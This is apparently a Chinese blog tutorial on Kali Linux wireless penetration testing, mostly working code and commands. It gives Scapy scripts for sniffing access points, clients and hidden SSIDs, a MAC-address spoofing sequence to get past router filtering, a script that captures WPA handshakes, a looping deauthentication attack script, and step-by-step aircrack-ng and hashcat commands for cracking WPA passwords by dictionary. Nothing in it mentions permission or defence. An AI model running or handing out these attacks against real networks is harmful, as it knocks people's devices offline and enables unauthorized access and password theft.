kali无线渗透测试

一、kali中的无线功能

  1. iwconfig 查看网卡连接情况
  2. airmon-ng start wlan0 在终端启动wlan0,设置成监听模式
  3. 查看网卡工作模式
from pythonwifi.iwlibs import Wireless 
wifi=Wireless('wlan0mon') 
print(wifi.getMode())
  1. airodump-ng wlan0mon 查看所有可以连接的无线网络
  • BSSID 热点的MAC地址
  • PWR 无线信号强度或水平
  • Beacons 无线发出的通告编号
  • ENC 加密方法,包括WPA2、WPA、WEP、OPEN
  • CH 工作频道
  • ACTH 使用的认证协议
  • ESSID 无线网络名称

uploading.4e448015.gif正在上传…重新上传取消uploading.4e448015.gif转存失败重新上传取消

二、kali无线测试

  1. 无线网络扫描器
from scapy.all import *
from scapy.layers.dot11 import Dot11Beacon
interface = 'wlan0mon'
ap_list = []
def info(fm):
    if fm.haslayer(Dot11Beacon):
        if fm.addr2 not in ap_list:
            ap_list.append(fm.addr2)
            print "SSID--> ",fm.info,"-- BSSID--> ",fm.addr2
sniff(iface=interface,prn=info)
  1. 无线数据嗅探器
from scapy.all import *
import subprocess
subprocess.call('airmon-ng start wlan0',shell=True)
iface="wlan0mon"
def dump_packet(pkt):
    print pkt.summary()
while True:
    sniff(iface=iface,prn=dump_packet,count=10,timeout=3,store=0)
  1. 无线网络的客户端扫描器
from scapy.all import *
import subprocess
from scapy.layers.dot11 import Dot11ProbeResp, Dot11ProbeReq
#subprocess.call('airmon-ng start wlan0',shell=True)
iface="wlan0mon"
probe_req=[]
ap_name=raw_input("please input the ap name")
print ap_name
def probesniff(fm):
    if fm.haslayer(Dot11ProbeReq):
        client_name=fm.info
        if client_name== ap_name:
            if fm.addr2 not in probe_req:
                print "New Probe Request:",client_name
                print "Mac ",fm.addr2
                probe_req.append(fm.addr2) 
sniff(iface=iface,prn=probesniff)
  1. 扫描隐藏的SSID
from scapy.all import *
from scapy.layers.dot11 import Dot11ProbeReq, Dot11AssoReq
iface = "wlan0mon"
def handle_packet(packet):
    if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq):
        print "Found SSID "+packet.info
print "Sniffing on interface "+iface
sniff(iface=iface,prn=handle_packet)
  1. 绕过目标的MAC过滤机制

路由器限制只有MAC为特定的设备才能连接到网络中

ifconfig wlan0 down
ifconfig wlan0 hw ether CC:B0:DA:2D:44:80
ifconfig wlan0 up     //先关闭,修改,在开启    重启后会失效
  1. 捕获WPA数据包
import subprocess
from scapy.all import *
subprocess.call('airmon-ng start wlan0',shell=True)
packets = []
def handle_packet(pkt):
    if pkt.haslayer(EAPOL) and pkt.type == 2:
        packets.append(pkt)
        print packet.summary()
    if len(packets) == 4:
        wrpcap("wpa_handshake.pcap",packets)
        sys.exit(0)
print "sniffing on interface "+"wlan0mon"
sniff(iface="wlan0mon",prn=handle_packet)
//通过kali的Aircrack解捕获的数据包
aircrack-ng -w dic.txt wep_handshake.pcap
  1. Deauth攻击
#参数AP的BSSID 被踢设备的MAC地址
import time
from scapy.all import *
from construct.examples.protocols.ipstack import dest_unreachable_code
iface = "wlan0mon"
timeout=1
if len(sys.argv)<2:
    print sys.argv[0] + "  [client]"
    sys.exit(0)
else:
    bssid = sys.argv[1]
if len(sys.argv)==3:
    dest = sys.argv[2]
else:
    dest="ff:ff:ff:ff:ff:ff"
pkt=RadioTap()/Dot11(subtype=0xc,addr1=dest,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=3)
while True:
    print "Sending deauth to "+dest
    sendp(pkt,iface=iface)
    time.sleep(timeout)

三、aircrack-ng工具

1.aircrack-ng组件表

  • aircrack-ng 用于WEP和WPA-PSK密码的恢复,只要airodump-ng收集到足够数量的数据包,aircrack-ng就可以自动检测数据包,并判断是否可以破解
  • airmon-ng 用于改变网卡工作模式
  • airodump-ng 用于捕获802.11数据报文,以便于aircrack-ng破解
  • aireplay-ng 在进行WEP及WPA-PSK密码恢复时,可以根据需要创建特殊的无线网络数据报文及流量
  • airserv-ng 可以将无线网卡连接至某一特定端口
  • airolib-ng 进行WPA Rainbow Table攻击时使用,用于建立特定的数据库文件
  • airdecap-ng 用于解开处于加密状态的数据包
  • tools 其他辅组工具,如:airdriver-ng、packetforge-ng

2.破解WPA的wifi密码

  • airmon-ng start wlan0 //设置成监听模式
  • airodump-ng wlan0mon //探测附近的热点
  • airodump-ng --channel 11 --bssid 热点的MAC地址 -w 热点的名字 wlan0mon //获取那个热点的数据包
  • aireplay-ng -0 1 -a 热点的MAC地址 -c 主机的MAC地址 wlan0mon //破解WPA/WPA2的关键是获取一个完整的握手包,使用deauth攻击,强迫下线,客户端自动重连
  • aircrack-ng 文件名.cap -w 字典.txt //通过字典暴力破解

3.hashcat破解WPA密码 (使用显卡加速)

  • cap2hccapx.exe 文件名.cap xxx.hccapx //把cap文件转化成hccapx文件
  • hashcat64.exe -m 2500 -a 0 文件.hccapx 字典.txt //使用hashcat破解密码

 

你可能感兴趣的:(渗透测试)